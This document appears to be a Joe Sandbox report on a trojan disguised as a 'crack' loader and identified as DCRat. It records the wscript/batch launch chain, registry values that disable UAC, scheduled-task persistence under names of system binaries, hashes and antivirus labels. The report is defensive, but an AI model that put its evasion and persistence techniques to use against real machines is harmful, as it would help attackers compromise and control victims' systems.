Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055F063 SetUnhandledExceptionFilter,	0_2_0055F063
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0055F22B
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0056866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0056866F
Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Code function: 0_2_0055EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0055EF05

Source: C:\comcontainer\SurrogateRef.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comcontainer\Kr8tZ.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comcontainer\xNFGfK2ypxJsgsGsm5kX9.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\comcontainer\SurrogateRef.exe "C:\comcontainer\SurrogateRef.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0055ED5B cpuid

0_2_0055ED5B

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_0055A63C

Source: C:\comcontainer\SurrogateRef.exe	Queries volume information: C:\comcontainer\SurrogateRef.exe VolumeInformation	Jump to behavior
Source: C:\comcontainer\SurrogateRef.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Queries volume information: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	Queries volume information: C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0055D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_0055D5D4

Source: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe

Code function: 0_2_0054ACF5 GetVersionExW,

0_2_0054ACF5

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable UAC(promptonsecuredesktop)

Source: C:\comcontainer\SurrogateRef.exe

Registry value created: PromptOnSecureDesktop 0

Jump to behavior

Disables UAC (registry)

Source: C:\comcontainer\SurrogateRef.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2465802434.0000000002937000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2486586475.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2486585028.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2472557377.000000001239D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SurrogateRef.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SwpTnCnrsAAKjgTAQ.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SwpTnCnrsAAKjgTAQ.exe PID: 6992, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2465802434.0000000002937000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2486586475.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2486585028.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2472557377.000000001239D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SurrogateRef.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SwpTnCnrsAAKjgTAQ.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SwpTnCnrsAAKjgTAQ.exe PID: 6992, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	211 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	47 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	23 Software Packing	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Bypass User Account Control	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	123 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
NewLoaderCracks_1.32.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
NewLoaderCracks_1.32.exe	100%	Avira	VBS/Runner.VPG
NewLoaderCracks_1.32.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\comcontainer\cmd.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\comcontainer\Kr8tZ.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	100%	Avira	HEUR/AGEN.1323984
C:\comcontainer\SurrogateRef.exe	100%	Avira	HEUR/AGEN.1323984
C:\Recovery\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Windows NT\Idle.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Recovery\csrss.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Avira	HEUR/AGEN.1323984
C:\comcontainer\cmd.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	100%	Joe Sandbox ML
C:\comcontainer\SurrogateRef.exe	100%	Joe Sandbox ML
C:\Recovery\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Program Files\Windows NT\Idle.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Recovery\csrss.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Reference Assemblies\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\Windows Mail\SurrogateRef.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\jDownloader\config\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Windows NT\Idle.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\WmiPrvSE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\csrss.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Windows\CbsTemp\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\comcontainer\SurrogateRef.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\comcontainer\SwpTnCnrsAAKjgTAQ.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\comcontainer\cmd.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	SurrogateRef.exe, 00000005.00000002.2465802434.0000000002E53000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002DC5000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002391000.00000004.00000800.00020000.00000000.sdmp, SurrogateRef.exe, 00000005.00000002.2465802434.0000000002600000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525863
Start date and time:	2024-10-04 15:41:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NewLoaderCracks_1.32.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@31/38@1/1
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, csrss.exe, WmiPrvSE.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target SurrogateRef.exe, PID 3472 because it is empty
Execution Graph export aborted for target SwpTnCnrsAAKjgTAQ.exe, PID 6728 because it is empty
Execution Graph export aborted for target SwpTnCnrsAAKjgTAQ.exe, PID 6992 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: NewLoaderCracks_1.32.exe

Simulations

Behavior and APIs

Time	Type	Description
09:43:07	API Interceptor	97x Sleep call for process: SurrogateRef.exe modified
15:43:11	Task Scheduler	Run new task: SwpTnCnrsAAKjgTAQ path: "C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe"
15:43:11	Task Scheduler	Run new task: SwpTnCnrsAAKjgTAQS path: "C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe"
15:43:14	Task Scheduler	Run new task: csrss path: "C:\Recovery\csrss.exe"
15:43:15	Task Scheduler	Run new task: csrssc path: "C:\Recovery\csrss.exe"
15:43:15	Task Scheduler	Run new task: RuntimeBroker path: "C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe"
15:43:15	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Windows\CbsTemp\RuntimeBroker.exe"
15:43:15	Task Scheduler	Run new task: WmiPrvSE path: "C:\Recovery\WmiPrvSE.exe"
15:43:16	Task Scheduler	Run new task: WmiPrvSEW path: "C:\Recovery\WmiPrvSE.exe"
15:43:18	Task Scheduler	Run new task: cmdc path: "C:\comcontainer\cmd.exe"
15:43:18	Task Scheduler	Run new task: Idle path: "C:\Program Files\Windows NT\Idle.exe"
15:43:19	Task Scheduler	Run new task: IdleI path: "C:\Program Files\Windows NT\Idle.exe"
15:43:19	Task Scheduler	Run new task: SurrogateRef path: "C:\Program Files (x86)\windows mail\SurrogateRef.exe"
15:43:19	Task Scheduler	Run new task: SurrogateRefS path: "C:\Program Files (x86)\windows mail\SurrogateRef.exe"
15:43:21	Task Scheduler	Run new task: cmd path: "C:\comcontainer\cmd.exe"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	SolaraV4.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	Aviso de cuenta vencida de DHL - 1606622076_865764325678976645423546567678967564423567890008765.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	enigma.tech.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	POP.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	gp4uQBDTP8.exe	Get hash	malicious	Xehook Stealer	Browse	ip-api.com/json/?fields=11827
	dNNMgwxY4f.exe	Get hash	malicious	Xehook Stealer	Browse	ip-api.com/json/?fields=11827
	kUiqbpzmbo.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	uidiscord.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	SolaraV4.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	Aviso de cuenta vencida de DHL - 1606622076_865764325678976645423546567678967564423567890008765.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	enigma.tech.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	POP.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	gp4uQBDTP8.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	dNNMgwxY4f.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	kUiqbpzmbo.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	uidiscord.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TUT-ASUS	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	SolaraV3.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	SolaraV4.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	Aviso de cuenta vencida de DHL - 1606622076_865764325678976645423546567678967564423567890008765.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	enigma.tech.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	POP.js	Get hash	malicious	WSHRAT	Browse	208.95.112.1
	gp4uQBDTP8.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	dNNMgwxY4f.exe	Get hash	malicious	Xehook Stealer	Browse	208.95.112.1
	kUiqbpzmbo.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	uidiscord.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\MSECache\OfficeKMS\win8\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\MSECache\OfficeKMS\win8\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (950), with no line terminators
Category:	dropped
Size (bytes):	950
Entropy (8bit):	5.905373636930115
Encrypted:	false
SSDEEP:	24:qyKSLr7/Bi8rRlrvQGspRhZYt4BgKuzBOEIFoGj3dr9Y:qy3Lr7vveGe/6BOE8oqNr9Y
MD5:	D26027F86CD9B9FAB62F9E3E4CE8243E
SHA1:	90FC306EF1368DED2192580579873025175AFA3C
SHA-256:	8190B765212A82426B866BACE2C08842C1D39E522CCFF1890F6226B2808C6AF1
SHA-512:	21244DF3D2ADA053EB54C0472DFA6DD8EA57291F9426461393EA93E8B35FC7E9E45662F822D24B7485BCD384B321240ACAB15C756206777A1E7F557F4A8A4553
Malicious:	false
Preview:	142tW3kEEqTUOVW6qwkz6mNoJRHkxACiUDZYjPre4dlCbPcFKb0wJ5AOrOkFw9REouAK58WaEF4cAKN3zBaWJPZZCKrUpms5MhYqPRJMEasDAiOgBqQuj44ZVkHuQBucX9Qcwgoh1NRtgVYe6LT9V7VRn8UoJZ6DpPpBRvteBs2VmK29MnxFsvGZn8zxMAXcRODRqXNKby7mFAocGUcgl0U4IQXS55SBUZEYGkTzZmn3xdTnUXr1i10a4JIa94Ofg6Sp5QVfBmG8MbHp6u8iOaddjne7c3zfYHW1LorDBL05u1NcCddP5qRFcyGSwXDIxlkEEPdSC4hDkisrZB59Zkjr0QZXhZQnIsHJRIYw9LNAJOf3FZ2vcEsNB2Ox0Gumo352ajaQmJ9OXiimvfRIhfLD94HY4k53akWPTmdg9lITEezcUmCVzmFIs13fbBWCNFxxLSTICvJ5X29fEpESijEyeOhct7E7PGF9rCQBT3TDdKv02Xaw7DdoA9S7u0YEqMqQw9xCYC9pQAUTdrkVgS9Lmb8suTQcePXRdeD2jYX4EyYAo8eCQChXMfnVBFSFwhKBnD08orwI5EGyC8DvyNLbr9E80r1dGRIhnWXkIfYiQZcHYySCBgQiVtTn81I70SBn6jLqldmTzmKSh6kBYycjBjL4DulRXbs8XzLynmbi47tsiAFCQGiBzcmWXRm02U6Y4M5svvYvW3pD0dVCojAQ2qI4NzbWAkqjBVyWFXQerwp6xif45jMSUpfNDAf5UCvwNFCfo97QSfjFBMHoUgaaYXPWzkTE2VKpB2srf9P5m5AyFaM020lxlUXzzqqDq2Y6V3EIdaIUReycXbQYYcLCuWEqe21zTLPthDcMVDWcrQgGg5cYZRpOqWM8zXnliTBFPF5U8DDVFtUd07KjacZBgBCK0dX8Zv3YPa1a9IaWOTI7BsI2NE

C:\Program Files (x86)\Reference Assemblies\SwpTnCnrsAAKjgTAQ.exe

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1515008
Entropy (8bit):	7.209972232078563
Encrypted:	false
SSDEEP:	24576:Vbux7fBIcZYBhXDz9rDYe0sbT2EqdGoFKfD/M5lXVcp:Vbux7bKPRse0mTnqfELMJ
MD5:	A730EA6D448D235275000CF8ADA09A96
SHA1:	D1471DA18D3BFB0C4E8116270C1A92F3A40AE75F
SHA-256:	DAFE1BC5AD53B430E73D755268355F7B4B9AFAF65E592DFC7A8A841D0DF75B03
SHA-512:	25012A0EC68AC77DE8B0132B502DE4CC486EDB9868905344513E83CA235FA7E1FDB29BB93DE2A7B3627EED76018961AC30C3C272E14DD67244AFEB2B3FAD073D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Reference Assemblies\b85529a8a0a78e

Download File

Process:	C:\comcontainer\SurrogateRef.exe
File Type:	ASCII text, with very long lines (678), with no line terminators
Category:	dropped
